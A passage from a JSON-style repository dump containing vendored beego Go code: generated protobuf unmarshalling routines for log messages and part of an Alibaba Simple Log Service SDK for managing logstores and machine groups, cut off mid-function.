{\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif msglen < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tpostIndex := iNdEx + msglen\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tm.Contents = append(m.Contents, &LogContent{})\n\t\t\tif err := m.Contents[len(m.Contents)-1].Unmarshal(data[iNdEx:postIndex]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tiNdEx = postIndex\n\t\tdefault:\n\t\t\tiNdEx = preIndex\n\t\t\tskippy, err := skipLog(data[iNdEx:])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif skippy < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tif (iNdEx + skippy) > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tm.XXXUnrecognized = append(m.XXXUnrecognized, data[iNdEx:iNdEx+skippy]...)\n\t\t\tiNdEx += skippy\n\t\t}\n\t}\n\tif hasFields[0]&uint64(0x00000001) == 0 {\n\t\treturn github_com_gogo_protobuf_proto.NewRequiredNotSetError(\"Time\")\n\t}\n\n\tif iNdEx > l {\n\t\treturn io.ErrUnexpectedEOF\n\t}\n\treturn nil\n}\n\n// Unmarshal data to LogContent\nfunc (m *LogContent) Unmarshal(data []byte) error {\n\tvar hasFields [1]uint64\n\tl := len(data)\n\tiNdEx := 0\n\tfor iNdEx < l {\n\t\tpreIndex := iNdEx\n\t\tvar wire uint64\n\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\tif shift >= 64 {\n\t\t\t\treturn ErrIntOverflowLog\n\t\t\t}\n\t\t\tif iNdEx >= l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb := data[iNdEx]\n\t\t\tiNdEx++\n\t\t\twire |= (uint64(b) & 0x7F) << shift\n\t\t\tif b < 0x80 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tfieldNum := int32(wire >> 3)\n\t\twireType := int(wire & 0x7)\n\t\tif wireType == 4 {\n\t\t\treturn fmt.Errorf(\"proto: Content: wiretype end group for non-group\")\n\t\t}\n\t\tif fieldNum <= 0 {\n\t\t\treturn fmt.Errorf(\"proto: Content: illegal tag %d (wire type %d)\", fieldNum, wire)\n\t\t}\n\t\tswitch fieldNum {\n\t\tcase 1:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Key\", wireType)\n\t\t\t}\n\t\t\tvar stringLen uint64\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tstringLen |= (uint64(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tintStringLen := int(stringLen)\n\t\t\tif intStringLen < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tpostIndex := iNdEx + intStringLen\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\ts := string(data[iNdEx:postIndex])\n\t\t\tm.Key = &s\n\t\t\tiNdEx = postIndex\n\t\t\thasFields[0] |= uint64(0x00000001)\n\t\tcase 2:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Value\", wireType)\n\t\t\t}\n\t\t\tvar stringLen uint64\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tstringLen |= (uint64(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tintStringLen := int(stringLen)\n\t\t\tif intStringLen < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tpostIndex := iNdEx + intStringLen\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\ts := string(data[iNdEx:postIndex])\n\t\t\tm.Value = &s\n\t\t\tiNdEx = postIndex\n\t\t\thasFields[0] |= uint64(0x00000002)\n\t\tdefault:\n\t\t\tiNdEx = preIndex\n\t\t\tskippy, err := skipLog(data[iNdEx:])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif skippy < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tif (iNdEx + skippy) > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tm.XXXUnrecognized = append(m.XXXUnrecognized, data[iNdEx:iNdEx+skippy]...)\n\t\t\tiNdEx += skippy\n\t\t}\n\t}\n\tif hasFields[0]&uint64(0x00000001) == 0 {\n\t\treturn github_com_gogo_protobuf_proto.NewRequiredNotSetError(\"Key\")\n\t}\n\tif hasFields[0]&uint64(0x00000002) == 0 {\n\t\treturn github_com_gogo_protobuf_proto.NewRequiredNotSetError(\"Value\")\n\t}\n\n\tif iNdEx > l {\n\t\treturn io.ErrUnexpectedEOF\n\t}\n\treturn nil\n}\n\n// Unmarshal data to LogGroup\nfunc (m *LogGroup) Unmarshal(data []byte) error {\n\tl := len(data)\n\tiNdEx := 0\n\tfor iNdEx < l {\n\t\tpreIndex := iNdEx\n\t\tvar wire uint64\n\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\tif shift >= 64 {\n\t\t\t\treturn ErrIntOverflowLog\n\t\t\t}\n\t\t\tif iNdEx >= l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb := data[iNdEx]\n\t\t\tiNdEx++\n\t\t\twire |= (uint64(b) & 0x7F) << shift\n\t\t\tif b < 0x80 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tfieldNum := int32(wire >> 3)\n\t\twireType := int(wire & 0x7)\n\t\tif wireType == 4 {\n\t\t\treturn fmt.Errorf(\"proto: LogGroup: wiretype end group for non-group\")\n\t\t}\n\t\tif fieldNum <= 0 {\n\t\t\treturn fmt.Errorf(\"proto: LogGroup: illegal tag %d (wire type %d)\", fieldNum, wire)\n\t\t}\n\t\tswitch fieldNum {\n\t\tcase 1:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Logs\", wireType)\n\t\t\t}\n\t\t\tvar msglen int\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tmsglen |= (int(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif msglen < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tpostIndex := iNdEx + msglen\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tm.Logs = append(m.Logs, &Log{})\n\t\t\tif err := m.Logs[len(m.Logs)-1].Unmarshal(data[iNdEx:postIndex]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tiNdEx = postIndex\n\t\tcase 2:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Reserved\", wireType)\n\t\t\t}\n\t\t\tvar stringLen uint64\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tstringLen |= (uint64(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tintStringLen := int(stringLen)\n\t\t\tif intStringLen < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tpostIndex := iNdEx + intStringLen\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\ts := string(data[iNdEx:postIndex])\n\t\t\tm.Reserved = &s\n\t\t\tiNdEx = postIndex\n\t\tcase 3:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Topic\", wireType)\n\t\t\t}\n\t\t\tvar stringLen uint64\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tstringLen |= (uint64(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tintStringLen := int(stringLen)\n\t\t\tif intStringLen < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tpostIndex := iNdEx + intStringLen\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\ts := string(data[iNdEx:postIndex])\n\t\t\tm.Topic = &s\n\t\t\tiNdEx = postIndex\n\t\tcase 4:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Source\", wireType)\n\t\t\t}\n\t\t\tvar stringLen uint64\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tstringLen |= (uint64(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tintStringLen := int(stringLen)\n\t\t\tif intStringLen < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tpostIndex := iNdEx + intStringLen\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\ts := string(data[iNdEx:postIndex])\n\t\t\tm.Source = &s\n\t\t\tiNdEx = postIndex\n\t\tdefault:\n\t\t\tiNdEx = preIndex\n\t\t\tskippy, err := skipLog(data[iNdEx:])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif skippy < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tif (iNdEx + skippy) > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tm.XXXUnrecognized = append(m.XXXUnrecognized, data[iNdEx:iNdEx+skippy]...)\n\t\t\tiNdEx += skippy\n\t\t}\n\t}\n\n\tif iNdEx > l {\n\t\treturn io.ErrUnexpectedEOF\n\t}\n\treturn nil\n}\n\n// Unmarshal data to LogGroupList\nfunc (m *LogGroupList) Unmarshal(data []byte) error {\n\tl := len(data)\n\tiNdEx := 0\n\tfor iNdEx < l {\n\t\tpreIndex := iNdEx\n\t\tvar wire uint64\n\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\tif shift >= 64 {\n\t\t\t\treturn ErrIntOverflowLog\n\t\t\t}\n\t\t\tif iNdEx >= l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb := data[iNdEx]\n\t\t\tiNdEx++\n\t\t\twire |= (uint64(b) & 0x7F) << shift\n\t\t\tif b < 0x80 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tfieldNum := int32(wire >> 3)\n\t\twireType := int(wire & 0x7)\n\t\tif wireType == 4 {\n\t\t\treturn fmt.Errorf(\"proto: LogGroupList: wiretype end group for non-group\")\n\t\t}\n\t\tif fieldNum <= 0 {\n\t\t\treturn fmt.Errorf(\"proto: LogGroupList: illegal tag %d (wire type %d)\", fieldNum, wire)\n\t\t}\n\t\tswitch fieldNum {\n\t\tcase 1:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field LogGroups\", wireType)\n\t\t\t}\n\t\t\tvar msglen int\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tmsglen |= (int(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif msglen < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tpostIndex := iNdEx + msglen\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tm.LogGroups = append(m.LogGroups, &LogGroup{})\n\t\t\tif err := m.LogGroups[len(m.LogGroups)-1].Unmarshal(data[iNdEx:postIndex]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tiNdEx = postIndex\n\t\tdefault:\n\t\t\tiNdEx = preIndex\n\t\t\tskippy, err := skipLog(data[iNdEx:])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif skippy < 0 {\n\t\t\t\treturn ErrInvalidLengthLog\n\t\t\t}\n\t\t\tif (iNdEx + skippy) > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tm.XXXUnrecognized = append(m.XXXUnrecognized, data[iNdEx:iNdEx+skippy]...)\n\t\t\tiNdEx += skippy\n\t\t}\n\t}\n\n\tif iNdEx > l {\n\t\treturn io.ErrUnexpectedEOF\n\t}\n\treturn nil\n}\n\nfunc skipLog(data []byte) (n int, err error) {\n\tl := len(data)\n\tiNdEx := 0\n\tfor iNdEx < l {\n\t\tvar wire uint64\n\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\tif shift >= 64 {\n\t\t\t\treturn 0, ErrIntOverflowLog\n\t\t\t}\n\t\t\tif iNdEx >= l {\n\t\t\t\treturn 0, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb := data[iNdEx]\n\t\t\tiNdEx++\n\t\t\twire |= (uint64(b) & 0x7F) << shift\n\t\t\tif b < 0x80 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\twireType := int(wire & 0x7)\n\t\tswitch wireType {\n\t\tcase 0:\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn 0, ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn 0, io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tiNdEx++\n\t\t\t\tif data[iNdEx-1] < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn iNdEx, nil\n\t\tcase 1:\n\t\t\tiNdEx += 8\n\t\t\treturn iNdEx, nil\n\t\tcase 2:\n\t\t\tvar length int\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn 0, ErrIntOverflowLog\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn 0, io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := data[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tlength |= (int(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tiNdEx += length\n\t\t\tif length < 0 {\n\t\t\t\treturn 0, ErrInvalidLengthLog\n\t\t\t}\n\t\t\treturn iNdEx, nil\n\t\tcase 3:\n\t\t\tfor {\n\t\t\t\tvar innerWire uint64\n\t\t\t\tvar start = iNdEx\n\t\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\t\tif shift >= 64 {\n\t\t\t\t\t\treturn 0, ErrIntOverflowLog\n\t\t\t\t\t}\n\t\t\t\t\tif iNdEx >= l {\n\t\t\t\t\t\treturn 0, io.ErrUnexpectedEOF\n\t\t\t\t\t}\n\t\t\t\t\tb := data[iNdEx]\n\t\t\t\t\tiNdEx++\n\t\t\t\t\tinnerWire |= (uint64(b) & 0x7F) << shift\n\t\t\t\t\tif b < 0x80 {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tinnerWireType := int(innerWire & 0x7)\n\t\t\t\tif innerWireType == 4 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tnext, err := skipLog(data[start:])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn 0, err\n\t\t\t\t}\n\t\t\t\tiNdEx = start + next\n\t\t\t}\n\t\t\treturn iNdEx, nil\n\t\tcase 4:\n\t\t\treturn iNdEx, nil\n\t\tcase 5:\n\t\t\tiNdEx += 4\n\t\t\treturn iNdEx, nil\n\t\tdefault:\n\t\t\treturn 0, fmt.Errorf(\"proto: illegal wireType %d\", wireType)\n\t\t}\n\t}\n\tpanic(\"unreachable\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/alils/log_config.go",
    "content": "package alils\n\n// InputDetail define log detail\ntype InputDetail struct {\n\tLogType       string   `json:\"logType\"`\n\tLogPath       string   `json:\"logPath\"`\n\tFilePattern   string   `json:\"filePattern\"`\n\tLocalStorage  bool     `json:\"localStorage\"`\n\tTimeFormat    string   `json:\"timeFormat\"`\n\tLogBeginRegex string   `json:\"logBeginRegex\"`\n\tRegex         string   `json:\"regex\"`\n\tKeys          []string `json:\"key\"`\n\tFilterKeys    []string `json:\"filterKey\"`\n\tFilterRegex   []string `json:\"filterRegex\"`\n\tTopicFormat   string   `json:\"topicFormat\"`\n}\n\n// OutputDetail define the output detail\ntype OutputDetail struct {\n\tEndpoint     string `json:\"endpoint\"`\n\tLogStoreName string `json:\"logstoreName\"`\n}\n\n// LogConfig define Log Config\ntype LogConfig struct {\n\tName         string       `json:\"configName\"`\n\tInputType    string       `json:\"inputType\"`\n\tInputDetail  InputDetail  `json:\"inputDetail\"`\n\tOutputType   string       `json:\"outputType\"`\n\tOutputDetail OutputDetail `json:\"outputDetail\"`\n\n\tCreateTime     uint32\n\tLastModifyTime uint32\n\n\tproject *LogProject\n}\n\n// GetAppliedMachineGroup returns applied machine group of this config.\nfunc (c *LogConfig) GetAppliedMachineGroup(confName string) (groupNames []string, err error) {\n\tgroupNames, err = c.project.GetAppliedMachineGroups(c.Name)\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/alils/log_project.go",
    "content": "/*\nPackage alils implements the SDK(v0.5.0) of Simple Log Service(abbr. SLS).\n\nFor more description about SLS, please read this article:\nhttp://gitlab.alibaba-inc.com/sls/doc.\n*/\npackage alils\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n)\n\n// Error message in SLS HTTP response.\ntype errorMessage struct {\n\tCode    string `json:\"errorCode\"`\n\tMessage string `json:\"errorMessage\"`\n}\n\n// LogProject Define the Ali Project detail\ntype LogProject struct {\n\tName            string // Project name\n\tEndpoint        string // IP or hostname of SLS endpoint\n\tAccessKeyID     string\n\tAccessKeySecret string\n}\n\n// NewLogProject creates a new SLS project.\nfunc NewLogProject(name, endpoint, AccessKeyID, accessKeySecret string) (p *LogProject, err error) {\n\tp = &LogProject{\n\t\tName:            name,\n\t\tEndpoint:        endpoint,\n\t\tAccessKeyID:     AccessKeyID,\n\t\tAccessKeySecret: accessKeySecret,\n\t}\n\treturn p, nil\n}\n\n// ListLogStore returns all logstore names of project p.\nfunc (p *LogProject) ListLogStore() (storeNames []string, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\turi := fmt.Sprintf(\"/logstores\")\n\tr, err := request(p, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to list logstore\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\ttype Body struct {\n\t\tCount     int\n\t\tLogStores []string\n\t}\n\tbody := &Body{}\n\n\terr = json.Unmarshal(buf, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tstoreNames = body.LogStores\n\n\treturn\n}\n\n// GetLogStore returns logstore according by logstore name.\nfunc (p *LogProject) GetLogStore(name string) (s *LogStore, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\tr, err := request(p, \"GET\", \"/logstores/\"+name, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to get logstore\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\ts = &LogStore{}\n\terr = json.Unmarshal(buf, s)\n\tif err != nil {\n\t\treturn\n\t}\n\ts.project = p\n\treturn\n}\n\n// CreateLogStore creates a new logstore in SLS,\n// where name is logstore name,\n// and ttl is time-to-live(in day) of logs,\n// and shardCnt is the number of shards.\nfunc (p *LogProject) CreateLogStore(name string, ttl, shardCnt int) (err error) {\n\n\ttype Body struct {\n\t\tName       string `json:\"logstoreName\"`\n\t\tTTL        int    `json:\"ttl\"`\n\t\tShardCount int    `json:\"shardCount\"`\n\t}\n\n\tstore := &Body{\n\t\tName:       name,\n\t\tTTL:        ttl,\n\t\tShardCount: shardCnt,\n\t}\n\n\tbody, err := json.Marshal(store)\n\tif err != nil {\n\t\treturn\n\t}\n\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": fmt.Sprintf(\"%v\", len(body)),\n\t\t\"Content-Type\":      \"application/json\",\n\t\t\"Accept-Encoding\":   \"deflate\", // TODO: support lz4\n\t}\n\n\tr, err := request(p, \"POST\", \"/logstores\", h, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err = ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to create logstore\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\treturn\n}\n\n// DeleteLogStore deletes a logstore according by logstore name.\nfunc (p *LogProject) DeleteLogStore(name string) (err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\tr, err := request(p, \"DELETE\", \"/logstores/\"+name, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to delete logstore\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\treturn\n}\n\n// UpdateLogStore updates a logstore according by logstore name,\n// obviously we can't modify the logstore name itself.\nfunc (p *LogProject) UpdateLogStore(name string, ttl, shardCnt int) (err error) {\n\n\ttype Body struct {\n\t\tName       string `json:\"logstoreName\"`\n\t\tTTL        int    `json:\"ttl\"`\n\t\tShardCount int    `json:\"shardCount\"`\n\t}\n\n\tstore := &Body{\n\t\tName:       name,\n\t\tTTL:        ttl,\n\t\tShardCount: shardCnt,\n\t}\n\n\tbody, err := json.Marshal(store)\n\tif err != nil {\n\t\treturn\n\t}\n\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": fmt.Sprintf(\"%v\", len(body)),\n\t\t\"Content-Type\":      \"application/json\",\n\t\t\"Accept-Encoding\":   \"deflate\", // TODO: support lz4\n\t}\n\n\tr, err := request(p, \"PUT\", \"/logstores\", h, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err = ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to update logstore\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\treturn\n}\n\n// ListMachineGroup returns machine group name list and the total number of machine groups.\n// The offset starts from 0 and the size is the max number of machine groups could be returned.\nfunc (p *LogProject) ListMachineGroup(offset, size int) (m []string, total int, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\tif size <= 0 {\n\t\tsize = 500\n\t}\n\n\turi := fmt.Sprintf(\"/machinegroups?offset=%v&size=%v\", offset, size)\n\tr, err := request(p, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to list machine group\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\ttype Body struct {\n\t\tMachineGroups []string\n\t\tCount         int\n\t\tTotal         int\n\t}\n\tbody := &Body{}\n\n\terr = json.Unmarshal(buf, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tm = body.MachineGroups\n\ttotal = body.Total\n\n\treturn\n}\n\n// GetMachineGroup retruns machine group according by machine group name.\nfunc (p *LogProject) GetMachineGroup(name string) (m *MachineGroup, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\tr, err := request(p, \"GET\", \"/machinegroups/\"+name, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to get machine group:%v\", name)\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\tm = &MachineGroup{}\n\terr = json.Unmarshal(buf, m)\n\tif err != nil 